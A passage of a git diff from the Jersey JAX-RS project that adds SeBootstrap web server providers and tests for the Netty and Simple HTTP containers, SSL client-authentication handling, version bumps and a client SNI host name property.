@@ -0,0 +1,199 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.netty.httpserver; + +import static java.lang.Boolean.FALSE; +import static java.lang.Boolean.TRUE; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +import io.netty.bootstrap.ServerBootstrap; +import io.netty.channel.Channel; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link NettyHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class NettyHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer2() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new NettyHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage<?> start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage<?> stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(NettyHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(ServerBootstrap.class))); + assertThat(startResult, is(instanceOf(Channel.class))); + assertThat(container, is(instanceOf(NettyHttpContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public Set<Object> getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(NettyHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public final void shouldScanFreePort() throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new NettyHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port, boolean autoStart) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return autoStart; + default: + return null; + } + }; + } + +} \ No newline at end of file
diff --git a/containers/pom.xml b/containers/pom.xml index be05caf..4691ad1 100644 --- a/containers/pom.xml +++ b/containers/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.containers</groupId> @@ -40,6 +40,7 @@ <module>jdk-http</module> <module>jersey-servlet-core</module> <module>jersey-servlet</module> + <module>jetty11-http</module> <module>jetty-http</module> <module>jetty-http2</module> <module>jetty-servlet</module>
diff --git a/containers/simple-http/pom.xml b/containers/simple-http/pom.xml index e21c301..823c85f 100644 --- a/containers/simple-http/pom.xml +++ b/containers/simple-http/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-simple-http</artifactId>
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java index afd86b5..6298cf3 100644 --- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java +++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
@@ -465,4 +465,15 @@ this.appHandler = new ApplicationHandler(application, new SimpleBinder()); this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class)); } + + /** + * Create a new Simple framework HTTP container. + * + * @param applicationClass JAX-RS / Jersey application class to be deployed on Simple framework HTTP + * container. + */ + SimpleContainer(final Class<? extends Application> applicationClass) { + this.appHandler = new ApplicationHandler(applicationClass, new SimpleBinder()); + this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class)); + } }
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java index 6740c6b..519fe7d 100644 --- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java +++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,19 +19,19 @@ import java.io.Closeable; import java.io.IOException; import java.net.InetSocketAddress; -import java.net.SocketAddress; import java.net.URI; -import jakarta.ws.rs.ProcessingException; - import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLEngine; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.ProcessingException; import org.glassfish.jersey.internal.util.collection.UnsafeValue; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.simple.internal.LocalizationMessages; - import org.simpleframework.http.core.Container; import org.simpleframework.http.core.ContainerSocketProcessor; +import org.simpleframework.transport.Socket; import org.simpleframework.transport.SocketProcessor; import org.simpleframework.transport.connect.Connection; import org.simpleframework.transport.connect.SocketConnection; @@ -149,7 +149,55 @@ public SocketProcessor get() throws IOException { return new ContainerSocketProcessor(container); } - }); + }, true); + } + + /** + * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root + * resource and provider classes found by searching the classes referenced in the java classpath. + * + * @param address the URI to create the http server. The URI scheme must be equal to {@code https} + * . The URI user information and host are ignored. If the URI port is not present then + * port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used. + * The URI path, query and fragment components are ignored. + * @param context this is the SSL context used for SSL connections. + * @param container the Simple container with ResourceConfig. + * @param sslClientAuthentication Secure socket client authentication policy. + * @param start whether the server shall listen to connections immediately + * @return the closeable connection, with the endpoint started. + * @throws ProcessingException thrown when problems during server creation. + * @throws IllegalArgumentException if {@code address} is {@code null}. + */ + public static SimpleServer create(final URI address, final SSLContext context, + final SSLClientAuthentication sslClientAuthentication, final SimpleContainer container, final boolean start) { + return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() { + @Override + public SocketProcessor get() throws IOException { + return new ContainerSocketProcessor(container) { + @Override + public final void process(final Socket socket) throws IOException { + final SSLEngine sslEngine = socket.getEngine(); + if (sslEngine != null) { + switch (sslClientAuthentication) { + case MANDATORY: { + sslEngine.setNeedClientAuth(true); + break; + } + case OPTIONAL: { + sslEngine.setWantClientAuth(true); + break; + } + default: { + sslEngine.setNeedClientAuth(false); + break; + } + } + } + super.process(socket); + } + }; + } + }, start); } /** @@ -201,12 +249,13 @@ public SocketProcessor get() throws IOException { return new ContainerSocketProcessor(container, count, select); } - }); + }, true); } private static SimpleServer _create(final URI address, final SSLContext context, final SimpleContainer container, - final UnsafeValue<SocketProcessor, IOException> serverProvider) + final UnsafeValue<SocketProcessor, IOException> serverProvider, + final boolean start) throws ProcessingException { if (address == null) { throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL()); @@ -236,22 +285,26 @@ final SocketProcessor server = serverProvider.get(); connection = new SocketConnection(server, analyzer); + final SimpleServer simpleServer = new SimpleServer() { + private InetSocketAddress socketAddr = listen; - final SocketAddress socketAddr = connection.connect(listen, context); - container.onServerStart(); - - return new SimpleServer() { + @Override + public final void start() throws IOException { + this.socketAddr = (InetSocketAddress) connection.connect(listen, context); + container.onServerStart(); + } @Override public void close() throws IOException { container.onServerStop(); analyzer.stop(); connection.close(); + this.socketAddr = listen; } @Override public int getPort() { - return ((InetSocketAddress) socketAddr).getPort(); + return this.socketAddr.getPort(); } @Override @@ -268,6 +321,12 @@ } } }; + + if (start) { + simpleServer.start(); + } + + return simpleServer; } catch (final IOException ex) { throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), ex); }
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java new file mode 100644 index 0000000..1b9ac18 --- /dev/null +++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
@@ -0,0 +1,97 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.simple; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionException; + +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +/** + * Jersey {@code Server} implementation based on Simple framework + * {@link SimpleServer}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class SimpleHttpServer implements WebServer { + + private final SimpleContainer container; + + private final SimpleServer simpleServer; + + SimpleHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(new SimpleContainer(application), configuration); + } + + SimpleHttpServer(final Class<?extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new SimpleContainer(applicationClass), configuration); + } + + SimpleHttpServer(final SimpleContainer container, final JerseySeBootstrapConfiguration configuration) { + this.container = container; + this.simpleServer = SimpleContainerFactory.create( + configuration.uri(true), + configuration.sslContext(), + configuration.sslClientAuthentication(), + this.container, + configuration.autoStart()); + } + + @Override + public final SimpleContainer container() { + return this.container; + } + + @Override + public final int port() { + return this.simpleServer.getPort(); + } + + @Override + public final CompletableFuture<Void> start() { + return CompletableFuture.runAsync(() -> { + try { + this.simpleServer.start(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final CompletableFuture<Void> stop() { + return CompletableFuture.runAsync(() -> { + try { + this.simpleServer.close(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(this.simpleServer); + } + +}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java new file mode 100644 index 0000000..33bd6a7 --- /dev/null +++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
@@ -0,0 +1,50 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.simple; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +/** + * Server provider for servers based on Simple framework {@link SimpleServer}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class SimpleHttpServerProvider implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration) + ? type.cast(new SimpleHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration) + ? type.cast(new SimpleHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java index 02aec75..7560c52 100644 --- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java +++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,6 +17,7 @@ package org.glassfish.jersey.simple; import java.io.Closeable; +import java.io.IOException; /** * Simple server facade providing convenient methods to obtain info about the server (i.e. port). @@ -26,6 +27,8 @@ */ public interface SimpleServer extends Closeable { + public void start() throws IOException; + /** * The port the server is listening to for incomming HTTP connections. If the port is not * specified the {@link org.glassfish.jersey.server.spi.Container.DEFAULT_PORT} is used.
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 0000000..54d8c53 --- /dev/null +++ b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.simple.SimpleHttpServerProvider \ No newline at end of file
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java index 3543e50..81c8601 100644 --- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java +++ b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
@@ -50,21 +50,25 @@ * @return The HTTP port of the URI */ protected final int getPort() { + if (server != null) { + return server.getPort(); + } + final String value = AccessController .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); if (value != null) { try { final int i = Integer.parseInt(value); - if (i <= 0) { - throw new NumberFormatException("Value not positive."); + if (i < 0) { + throw new NumberFormatException("Value is negative."); } return i; } catch (NumberFormatException e) { LOGGER.log( Level.CONFIG, "Value of 'jersey.config.test.container.port'" - + " property is not a valid positive integer [" + value + "]." + + " property is not a valid non-negative integer [" + value + "]." + " Reverting to default [" + DEFAULT_PORT + "].", e); } @@ -94,28 +98,28 @@ config.register(LoggingFeature.class); final URI baseUri = getBaseUri(); server = SimpleContainerFactory.create(baseUri, config); - LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort()); + LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri()); } public void startServerNoLoggingFilter(Class... resources) { ResourceConfig config = new ResourceConfig(resources); final URI baseUri = getBaseUri(); server = SimpleContainerFactory.create(baseUri, config); - LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort()); + LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri()); } public void startServer(ResourceConfig config) { final URI baseUri = getBaseUri(); config.register(LoggingFeature.class); server = SimpleContainerFactory.create(baseUri, config); - LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort()); + LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri()); } public void startServer(ResourceConfig config, int count, int select) { final URI baseUri = getBaseUri(); config.register(LoggingFeature.class); server = SimpleContainerFactory.create(baseUri, config, count, select); - LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri); + LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri()); } public URI getBaseUri() {
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java new file mode 100644 index 0000000..7c6f01b --- /dev/null +++ b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
@@ -0,0 +1,195 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.simple; + +import static java.lang.Boolean.FALSE; +import static java.lang.Boolean.TRUE; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.instanceOf; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link SimpleHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class SimpleHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer2() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new SimpleHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage<?> start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage<?> stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(SimpleHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(SimpleServer.class))); + assertThat(startResult, is(nullValue())); + assertThat(container, is(instanceOf(SimpleContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public Set<Object> getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(SimpleHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public final void shouldScanFreePort() throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new SimpleHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port, boolean autoStart) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return autoStart; + default: + return null; + } + }; + } + +}
diff --git a/core-client/pom.xml b/core-client/pom.xml index f7eac8c..34a1e33 100644 --- a/core-client/pom.xml +++ b/core-client/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.core</groupId> @@ -120,8 +120,8 @@ <dependency> <!-- not to warn about missing activation --> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> <scope>test</scope> </dependency> @@ -159,19 +159,6 @@ <profiles> <profile> - <id>mockito_jdk_11</id> - <activation> - <jdk>11</jdk> - </activation> - <dependencies> - <dependency> - <groupId>jakarta.xml.bind</groupId> - <artifactId>jakarta.xml.bind-api</artifactId> - <scope>test</scope> - </dependency> - </dependencies> - </profile> - <profile> <id>sonar</id> <build> <plugins>
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java index 4dca460..b072c1d 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
@@ -331,6 +331,11 @@ } @Override + public boolean hasProperty(final String name) { + return commonConfig.getConfiguration().hasProperty(name); + } + + @Override public Object getProperty(final String name) { return commonConfig.getConfiguration().getProperty(name); }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java index 267664d..364bff0 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
@@ -515,9 +515,20 @@ * When the {@code hostName} matches the HTTPS request host, the {@code SNIHostName} is not set, * and the HTTP HOST header is not used for setting the {@code SNIHostName}. This allows for Domain Fronting. * </p> - * @since 2.43 + * <p> + * Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK. + * {@code HttpUrlConnector} and {@code JavaNetHttpConnector} need + * to have an extra System Property set to allow HOST header. + * </p> + * <p> + * The value MUST be an instance of {@link java.lang.String}. + * </p> + * <p> + * The name of the configuration property is <tt>{@value}</tt>. + * </p> + * @since 3.1.2 */ - public static final String SNI_HOST_NAME = "jersey.config.client.sniHostName"; + public static final String SNI_HOST_NAME = "jersey.config.client.snihostname"; /** * <p>The {@link javax.net.ssl.SSLContext} {@link java.util.function.Supplier} to be used to set ssl context in the current
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java index fc21c02..9896c7a 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
